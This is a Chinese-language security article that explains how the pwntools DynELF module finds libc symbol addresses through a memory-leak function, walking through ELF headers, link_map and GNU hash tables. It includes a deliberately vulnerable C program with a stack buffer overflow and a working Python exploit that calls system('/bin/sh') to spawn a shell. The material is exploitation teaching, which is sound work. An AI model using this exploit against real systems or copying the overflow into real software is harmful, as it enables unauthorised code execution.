Pwntools之DynELF原理探究

2019-01-11 43816人围观 ,发现 1 个不明物体 系统安全

*本文作者:xmwanth,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄漏函数的情况下,可以解析任意加载库的任意符号地址。本文将对其技术原理进行介绍,其中涉及ELF文件中的hash表、动态符号表、字符串表、Dynamic段,以及link_map结构等内容。

一、DynELF应用示例

目标程序源代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfun(){
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv){
    vulfun();
    write(STDOUT_FILENO, "Hello,World\n", 13);
}

poc:

#!/usr/bin/env python
from pwn import *

elf  = ELF('vul_elf')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048404

def leak(address):
	payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)
	p.send(payload1)
	data = p.recv(4)
	return data

p = process('./vul_elf')
d=DynELF(leak, ptr)
system_addr = d.lookup('system', 'libc')

bss_addr = 0x0804a018
pppr = 0x080484bd
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

二、DynELF原理

在示例中,应用DynELF的代码是:

d=DynELF(leak, ptr)

system_addr = d.lookup('system', 'libc')

可以看到,DynELF作用是寻找system函数在内存中的加载地址,下面对该过程进行介绍:

1、获取vul_elf内存加载基地址

已知vul_elf加载内存范围内的一个地址ptr,将该地址进行页对齐

page_size = 0x1000

page_mask = ~(page_size - 1)

ptr &= page_mask

然后对比内存页起始字符串是否为’\x7fELF’,如果不是,一直向低地址内存页(ptr -= page_size)进行查找,找到符合该条件的页面,该页面起始地址就是vul_elf文件内存加载基地址。

寻找vul_elf内存加载基地址的示意图如下:

2、获取libc.so内存加载基地址

vul_elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其中包含了每个动态加载的库的路径和加载基址等信息,其数据结构为:

可以通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址可以从DYNAMIC段DT_PLTGOT区域得到。

这两种途径都需要知道vul_elf的DYNAMIC段地址:我们在第一步中获取了vul_el内存加载基地址,由此可以得到vul_elf段表,通过解析vul_elf段表可以得到DYNAMIC基地址。

通过第二种方式获取link_map结构的示意图如下:

3、获取libc.so的hash表、动态符号表、字符串表基地址

在所有需要导出函数给其他文件使用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的名称、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB可以获取hash表、动态符号表、字符串表在内存中的基地址。

4、通过hash表获取system函数地址

hash表是用于查找符号的散列表,通过libc.so的hash表可以找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其中通过GNU HASH查找system函数地址示意图如下。其寻找过程涉及诸多细节,在此不多叙述,后面会写文章对通过hash表找到符号地址作专门讲解。

图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的起始索引,Bloom Filter用作过滤不在符号表中的符号名称,在DynELF中并没有使用:

hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数

ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 相等的起始索引

最后:内存泄露函数在过程中用作读取程序内存数据,像上面例子中获取link_map、DYNAMIC段、vul_elf段表等内容都是通过内存泄露函数。

*本文作者:xmwanth,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

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